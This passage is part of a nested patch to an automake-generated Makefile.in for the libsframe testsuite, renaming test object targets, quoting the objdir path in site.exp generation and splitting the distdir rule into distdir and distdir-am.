++@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_encode_encode_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.encode/encode_1-encode-1.o -MD -MP -MF testsuite/libsframe.encode/$(DEPDIR)/encode_1-encode-1.Tpo -c -o testsuite/libsframe.encode/encode_1-encode-1.o `test -f 'testsuite/libsframe.encode/encode-1.c' || echo '$(srcdir)/'`testsuite/libsframe.encode/encode-1.c
++@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.encode/$(DEPDIR)/encode_1-encode-1.Tpo testsuite/libsframe.encode/$(DEPDIR)/encode_1-encode-1.Po
++@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.encode/encode-1.c' object='testsuite/libsframe.encode/encode_1-encode-1.o' libtool=no @AMDEPBACKSLASH@
+ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+-@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_encode_encode_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.encode/testsuite_libsframe_encode_encode_1-encode-1.o `test -f 'testsuite/libsframe.encode/encode-1.c' || echo '$(srcdir)/'`testsuite/libsframe.encode/encode-1.c
++@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_encode_encode_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.encode/encode_1-encode-1.o `test -f 'testsuite/libsframe.encode/encode-1.c' || echo '$(srcdir)/'`testsuite/libsframe.encode/encode-1.c
+
+-testsuite/libsframe.encode/testsuite_libsframe_encode_encode_1-encode-1.obj: testsuite/libsframe.encode/encode-1.c
+-@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_encode_encode_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.encode/testsuite_libsframe_encode_encode_1-encode-1.obj -MD -MP -MF testsuite/libsframe.encode/$(DEPDIR)/testsuite_libsframe_encode_encode_1-encode-1.Tpo -c -o testsuite/libsframe.encode/testsuite_libsframe_encode_encode_1-encode-1.obj `if test -f 'testsuite/libsframe.encode/encode-1.c'; then $(CYGPATH_W) 'testsuite/libsframe.encode/encode-1.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.encode/encode-1.c'; fi`
+-@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.encode/$(DEPDIR)/testsuite_libsframe_encode_encode_1-encode-1.Tpo testsuite/libsframe.encode/$(DEPDIR)/testsuite_libsframe_encode_encode_1-encode-1.Po
+-@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.encode/encode-1.c' object='testsuite/libsframe.encode/testsuite_libsframe_encode_encode_1-encode-1.obj' libtool=no @AMDEPBACKSLASH@
++testsuite/libsframe.encode/encode_1-encode-1.obj: testsuite/libsframe.encode/encode-1.c
++@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_encode_encode_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.encode/encode_1-encode-1.obj -MD -MP -MF testsuite/libsframe.encode/$(DEPDIR)/encode_1-encode-1.Tpo -c -o testsuite/libsframe.encode/encode_1-encode-1.obj `if test -f 'testsuite/libsframe.encode/encode-1.c'; then $(CYGPATH_W) 'testsuite/libsframe.encode/encode-1.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.encode/encode-1.c'; fi`
++@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.encode/$(DEPDIR)/encode_1-encode-1.Tpo testsuite/libsframe.encode/$(DEPDIR)/encode_1-encode-1.Po
++@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.encode/encode-1.c' object='testsuite/libsframe.encode/encode_1-encode-1.obj' libtool=no @AMDEPBACKSLASH@
+ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+-@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_encode_encode_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.encode/testsuite_libsframe_encode_encode_1-encode-1.obj `if test -f 'testsuite/libsframe.encode/encode-1.c'; then $(CYGPATH_W) 'testsuite/libsframe.encode/encode-1.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.encode/encode-1.c'; fi`
++@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_encode_encode_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.encode/encode_1-encode-1.obj `if test -f 'testsuite/libsframe.encode/encode-1.c'; then $(CYGPATH_W) 'testsuite/libsframe.encode/encode-1.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.encode/encode-1.c'; fi`
+
+-testsuite/libsframe.find/testsuite_libsframe_find_findfre_1-findfre-1.o: testsuite/libsframe.find/findfre-1.c
+-@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_findfre_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.find/testsuite_libsframe_find_findfre_1-findfre-1.o -MD -MP -MF testsuite/libsframe.find/$(DEPDIR)/testsuite_libsframe_find_findfre_1-findfre-1.Tpo -c -o testsuite/libsframe.find/testsuite_libsframe_find_findfre_1-findfre-1.o `test -f 'testsuite/libsframe.find/findfre-1.c' || echo '$(srcdir)/'`testsuite/libsframe.find/findfre-1.c
+-@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.find/$(DEPDIR)/testsuite_libsframe_find_findfre_1-findfre-1.Tpo testsuite/libsframe.find/$(DEPDIR)/testsuite_libsframe_find_findfre_1-findfre-1.Po
+-@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.find/findfre-1.c' object='testsuite/libsframe.find/testsuite_libsframe_find_findfre_1-findfre-1.o' libtool=no @AMDEPBACKSLASH@
++testsuite/libsframe.find/findfre_1-findfre-1.o: testsuite/libsframe.find/findfre-1.c
++@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_findfre_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.find/findfre_1-findfre-1.o -MD -MP -MF testsuite/libsframe.find/$(DEPDIR)/findfre_1-findfre-1.Tpo -c -o testsuite/libsframe.find/findfre_1-findfre-1.o `test -f 'testsuite/libsframe.find/findfre-1.c' || echo '$(srcdir)/'`testsuite/libsframe.find/findfre-1.c
++@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.find/$(DEPDIR)/findfre_1-findfre-1.Tpo testsuite/libsframe.find/$(DEPDIR)/findfre_1-findfre-1.Po
++@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.find/findfre-1.c' object='testsuite/libsframe.find/findfre_1-findfre-1.o' libtool=no @AMDEPBACKSLASH@
+ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+-@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_findfre_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.find/testsuite_libsframe_find_findfre_1-findfre-1.o `test -f 'testsuite/libsframe.find/findfre-1.c' || echo '$(srcdir)/'`testsuite/libsframe.find/findfre-1.c
++@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_findfre_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.find/findfre_1-findfre-1.o `test -f 'testsuite/libsframe.find/findfre-1.c' || echo '$(srcdir)/'`testsuite/libsframe.find/findfre-1.c
+
+-testsuite/libsframe.find/testsuite_libsframe_find_findfre_1-findfre-1.obj: testsuite/libsframe.find/findfre-1.c
+-@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_findfre_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.find/testsuite_libsframe_find_findfre_1-findfre-1.obj -MD -MP -MF testsuite/libsframe.find/$(DEPDIR)/testsuite_libsframe_find_findfre_1-findfre-1.Tpo -c -o testsuite/libsframe.find/testsuite_libsframe_find_findfre_1-findfre-1.obj `if test -f 'testsuite/libsframe.find/findfre-1.c'; then $(CYGPATH_W) 'testsuite/libsframe.find/findfre-1.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.find/findfre-1.c'; fi`
+-@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.find/$(DEPDIR)/testsuite_libsframe_find_findfre_1-findfre-1.Tpo testsuite/libsframe.find/$(DEPDIR)/testsuite_libsframe_find_findfre_1-findfre-1.Po
+-@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.find/findfre-1.c' object='testsuite/libsframe.find/testsuite_libsframe_find_findfre_1-findfre-1.obj' libtool=no @AMDEPBACKSLASH@
++testsuite/libsframe.find/findfre_1-findfre-1.obj: testsuite/libsframe.find/findfre-1.c
++@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_findfre_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.find/findfre_1-findfre-1.obj -MD -MP -MF testsuite/libsframe.find/$(DEPDIR)/findfre_1-findfre-1.Tpo -c -o testsuite/libsframe.find/findfre_1-findfre-1.obj `if test -f 'testsuite/libsframe.find/findfre-1.c'; then $(CYGPATH_W) 'testsuite/libsframe.find/findfre-1.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.find/findfre-1.c'; fi`
++@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.find/$(DEPDIR)/findfre_1-findfre-1.Tpo testsuite/libsframe.find/$(DEPDIR)/findfre_1-findfre-1.Po
++@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.find/findfre-1.c' object='testsuite/libsframe.find/findfre_1-findfre-1.obj' libtool=no @AMDEPBACKSLASH@
+ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+-@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_findfre_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.find/testsuite_libsframe_find_findfre_1-findfre-1.obj `if test -f 'testsuite/libsframe.find/findfre-1.c'; then $(CYGPATH_W) 'testsuite/libsframe.find/findfre-1.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.find/findfre-1.c'; fi`
++@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_findfre_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.find/findfre_1-findfre-1.obj `if test -f 'testsuite/libsframe.find/findfre-1.c'; then $(CYGPATH_W) 'testsuite/libsframe.find/findfre-1.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.find/findfre-1.c'; fi`
+
+-testsuite/libsframe.find/testsuite_libsframe_find_findfunc_1-findfunc-1.o: testsuite/libsframe.find/findfunc-1.c
+-@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_findfunc_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.find/testsuite_libsframe_find_findfunc_1-findfunc-1.o -MD -MP -MF testsuite/libsframe.find/$(DEPDIR)/testsuite_libsframe_find_findfunc_1-findfunc-1.Tpo -c -o testsuite/libsframe.find/testsuite_libsframe_find_findfunc_1-findfunc-1.o `test -f 'testsuite/libsframe.find/findfunc-1.c' || echo '$(srcdir)/'`testsuite/libsframe.find/findfunc-1.c
+-@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.find/$(DEPDIR)/testsuite_libsframe_find_findfunc_1-findfunc-1.Tpo testsuite/libsframe.find/$(DEPDIR)/testsuite_libsframe_find_findfunc_1-findfunc-1.Po
+-@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.find/findfunc-1.c' object='testsuite/libsframe.find/testsuite_libsframe_find_findfunc_1-findfunc-1.o' libtool=no @AMDEPBACKSLASH@
++testsuite/libsframe.find/findfunc_1-findfunc-1.o: testsuite/libsframe.find/findfunc-1.c
++@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_findfunc_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.find/findfunc_1-findfunc-1.o -MD -MP -MF testsuite/libsframe.find/$(DEPDIR)/findfunc_1-findfunc-1.Tpo -c -o testsuite/libsframe.find/findfunc_1-findfunc-1.o `test -f 'testsuite/libsframe.find/findfunc-1.c' || echo '$(srcdir)/'`testsuite/libsframe.find/findfunc-1.c
++@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.find/$(DEPDIR)/findfunc_1-findfunc-1.Tpo testsuite/libsframe.find/$(DEPDIR)/findfunc_1-findfunc-1.Po
++@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.find/findfunc-1.c' object='testsuite/libsframe.find/findfunc_1-findfunc-1.o' libtool=no @AMDEPBACKSLASH@
+ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+-@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_findfunc_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.find/testsuite_libsframe_find_findfunc_1-findfunc-1.o `test -f 'testsuite/libsframe.find/findfunc-1.c' || echo '$(srcdir)/'`testsuite/libsframe.find/findfunc-1.c
++@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_findfunc_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.find/findfunc_1-findfunc-1.o `test -f 'testsuite/libsframe.find/findfunc-1.c' || echo '$(srcdir)/'`testsuite/libsframe.find/findfunc-1.c
+
+-testsuite/libsframe.find/testsuite_libsframe_find_findfunc_1-findfunc-1.obj: testsuite/libsframe.find/findfunc-1.c
+-@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_findfunc_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.find/testsuite_libsframe_find_findfunc_1-findfunc-1.obj -MD -MP -MF testsuite/libsframe.find/$(DEPDIR)/testsuite_libsframe_find_findfunc_1-findfunc-1.Tpo -c -o testsuite/libsframe.find/testsuite_libsframe_find_findfunc_1-findfunc-1.obj `if test -f 'testsuite/libsframe.find/findfunc-1.c'; then $(CYGPATH_W) 'testsuite/libsframe.find/findfunc-1.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.find/findfunc-1.c'; fi`
+-@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.find/$(DEPDIR)/testsuite_libsframe_find_findfunc_1-findfunc-1.Tpo testsuite/libsframe.find/$(DEPDIR)/testsuite_libsframe_find_findfunc_1-findfunc-1.Po
+-@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.find/findfunc-1.c' object='testsuite/libsframe.find/testsuite_libsframe_find_findfunc_1-findfunc-1.obj' libtool=no @AMDEPBACKSLASH@
++testsuite/libsframe.find/findfunc_1-findfunc-1.obj: testsuite/libsframe.find/findfunc-1.c
++@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_findfunc_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.find/findfunc_1-findfunc-1.obj -MD -MP -MF testsuite/libsframe.find/$(DEPDIR)/findfunc_1-findfunc-1.Tpo -c -o testsuite/libsframe.find/findfunc_1-findfunc-1.obj `if test -f 'testsuite/libsframe.find/findfunc-1.c'; then $(CYGPATH_W) 'testsuite/libsframe.find/findfunc-1.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.find/findfunc-1.c'; fi`
++@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.find/$(DEPDIR)/findfunc_1-findfunc-1.Tpo testsuite/libsframe.find/$(DEPDIR)/findfunc_1-findfunc-1.Po
++@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.find/findfunc-1.c' object='testsuite/libsframe.find/findfunc_1-findfunc-1.obj' libtool=no @AMDEPBACKSLASH@
+ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+-@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_findfunc_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.find/testsuite_libsframe_find_findfunc_1-findfunc-1.obj `if test -f 'testsuite/libsframe.find/findfunc-1.c'; then $(CYGPATH_W) 'testsuite/libsframe.find/findfunc-1.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.find/findfunc-1.c'; fi`
++@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_findfunc_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.find/findfunc_1-findfunc-1.obj `if test -f 'testsuite/libsframe.find/findfunc-1.c'; then $(CYGPATH_W) 'testsuite/libsframe.find/findfunc-1.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.find/findfunc-1.c'; fi`
+
+-testsuite/libsframe.find/testsuite_libsframe_find_plt_findfre_1-plt-findfre-1.o: testsuite/libsframe.find/plt-findfre-1.c
+-@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_plt_findfre_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.find/testsuite_libsframe_find_plt_findfre_1-plt-findfre-1.o -MD -MP -MF testsuite/libsframe.find/$(DEPDIR)/testsuite_libsframe_find_plt_findfre_1-plt-findfre-1.Tpo -c -o testsuite/libsframe.find/testsuite_libsframe_find_plt_findfre_1-plt-findfre-1.o `test -f 'testsuite/libsframe.find/plt-findfre-1.c' || echo '$(srcdir)/'`testsuite/libsframe.find/plt-findfre-1.c
+-@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.find/$(DEPDIR)/testsuite_libsframe_find_plt_findfre_1-plt-findfre-1.Tpo testsuite/libsframe.find/$(DEPDIR)/testsuite_libsframe_find_plt_findfre_1-plt-findfre-1.Po
+-@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.find/plt-findfre-1.c' object='testsuite/libsframe.find/testsuite_libsframe_find_plt_findfre_1-plt-findfre-1.o' libtool=no @AMDEPBACKSLASH@
++testsuite/libsframe.find/plt_findfre_1-plt-findfre-1.o: testsuite/libsframe.find/plt-findfre-1.c
++@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_plt_findfre_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.find/plt_findfre_1-plt-findfre-1.o -MD -MP -MF testsuite/libsframe.find/$(DEPDIR)/plt_findfre_1-plt-findfre-1.Tpo -c -o testsuite/libsframe.find/plt_findfre_1-plt-findfre-1.o `test -f 'testsuite/libsframe.find/plt-findfre-1.c' || echo '$(srcdir)/'`testsuite/libsframe.find/plt-findfre-1.c
++@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.find/$(DEPDIR)/plt_findfre_1-plt-findfre-1.Tpo testsuite/libsframe.find/$(DEPDIR)/plt_findfre_1-plt-findfre-1.Po
++@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.find/plt-findfre-1.c' object='testsuite/libsframe.find/plt_findfre_1-plt-findfre-1.o' libtool=no @AMDEPBACKSLASH@
+ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+-@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_plt_findfre_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.find/testsuite_libsframe_find_plt_findfre_1-plt-findfre-1.o `test -f 'testsuite/libsframe.find/plt-findfre-1.c' || echo '$(srcdir)/'`testsuite/libsframe.find/plt-findfre-1.c
++@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_plt_findfre_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.find/plt_findfre_1-plt-findfre-1.o `test -f 'testsuite/libsframe.find/plt-findfre-1.c' || echo '$(srcdir)/'`testsuite/libsframe.find/plt-findfre-1.c
+
+-testsuite/libsframe.find/testsuite_libsframe_find_plt_findfre_1-plt-findfre-1.obj: testsuite/libsframe.find/plt-findfre-1.c
+-@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_plt_findfre_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.find/testsuite_libsframe_find_plt_findfre_1-plt-findfre-1.obj -MD -MP -MF testsuite/libsframe.find/$(DEPDIR)/testsuite_libsframe_find_plt_findfre_1-plt-findfre-1.Tpo -c -o testsuite/libsframe.find/testsuite_libsframe_find_plt_findfre_1-plt-findfre-1.obj `if test -f 'testsuite/libsframe.find/plt-findfre-1.c'; then $(CYGPATH_W) 'testsuite/libsframe.find/plt-findfre-1.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.find/plt-findfre-1.c'; fi`
+-@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.find/$(DEPDIR)/testsuite_libsframe_find_plt_findfre_1-plt-findfre-1.Tpo testsuite/libsframe.find/$(DEPDIR)/testsuite_libsframe_find_plt_findfre_1-plt-findfre-1.Po
+-@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.find/plt-findfre-1.c' object='testsuite/libsframe.find/testsuite_libsframe_find_plt_findfre_1-plt-findfre-1.obj' libtool=no @AMDEPBACKSLASH@
++testsuite/libsframe.find/plt_findfre_1-plt-findfre-1.obj: testsuite/libsframe.find/plt-findfre-1.c
++@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_plt_findfre_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.find/plt_findfre_1-plt-findfre-1.obj -MD -MP -MF testsuite/libsframe.find/$(DEPDIR)/plt_findfre_1-plt-findfre-1.Tpo -c -o testsuite/libsframe.find/plt_findfre_1-plt-findfre-1.obj `if test -f 'testsuite/libsframe.find/plt-findfre-1.c'; then $(CYGPATH_W) 'testsuite/libsframe.find/plt-findfre-1.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.find/plt-findfre-1.c'; fi`
++@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.find/$(DEPDIR)/plt_findfre_1-plt-findfre-1.Tpo testsuite/libsframe.find/$(DEPDIR)/plt_findfre_1-plt-findfre-1.Po
++@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.find/plt-findfre-1.c' object='testsuite/libsframe.find/plt_findfre_1-plt-findfre-1.obj' libtool=no @AMDEPBACKSLASH@
+ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+-@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_plt_findfre_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.find/testsuite_libsframe_find_plt_findfre_1-plt-findfre-1.obj `if test -f 'testsuite/libsframe.find/plt-findfre-1.c'; then $(CYGPATH_W) 'testsuite/libsframe.find/plt-findfre-1.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.find/plt-findfre-1.c'; fi`
++@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_find_plt_findfre_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.find/plt_findfre_1-plt-findfre-1.obj `if test -f 'testsuite/libsframe.find/plt-findfre-1.c'; then $(CYGPATH_W) 'testsuite/libsframe.find/plt-findfre-1.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.find/plt-findfre-1.c'; fi`
+
+ mostlyclean-libtool:
+ -rm -f *.lo
+@@ -1142,7 +1168,7 @@ site.exp: Makefile $(EXTRA_DEJAGNU_SITE_CONFIG)
+ @echo '# Do not edit here. If you wish to override these values' >>site.tmp
+ @echo '# edit the last section' >>site.tmp
+ @echo 'set srcdir "$(srcdir)"' >>site.tmp
+- @echo "set objdir `pwd`" >>site.tmp
++ @echo "set objdir \"`pwd`\"" >>site.tmp
+ @echo 'set build_alias "$(build_alias)"' >>site.tmp
+ @echo 'set build_triplet $(build_triplet)' >>site.tmp
+ @echo 'set host_alias "$(host_alias)"' >>site.tmp
+@@ -1166,8 +1192,10 @@ distclean-DEJAGNU:
+ -l='$(DEJATOOL)'; for tool in $$l; do \
+ rm -f $$tool.sum $$tool.log; \
+ done
++distdir: $(BUILT_SOURCES)
++ $(MAKE) $(AM_MAKEFLAGS) distdir-am
+
+-distdir: $(DISTFILES)
++distdir-am: $(DISTFILES)
+ $(am__remove_distdir)
+ test -d "$(distdir)" || mkdir "$(distdir)"
+ @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \
+@@ -1225,6 +1253,10 @@ dist-xz: distdir
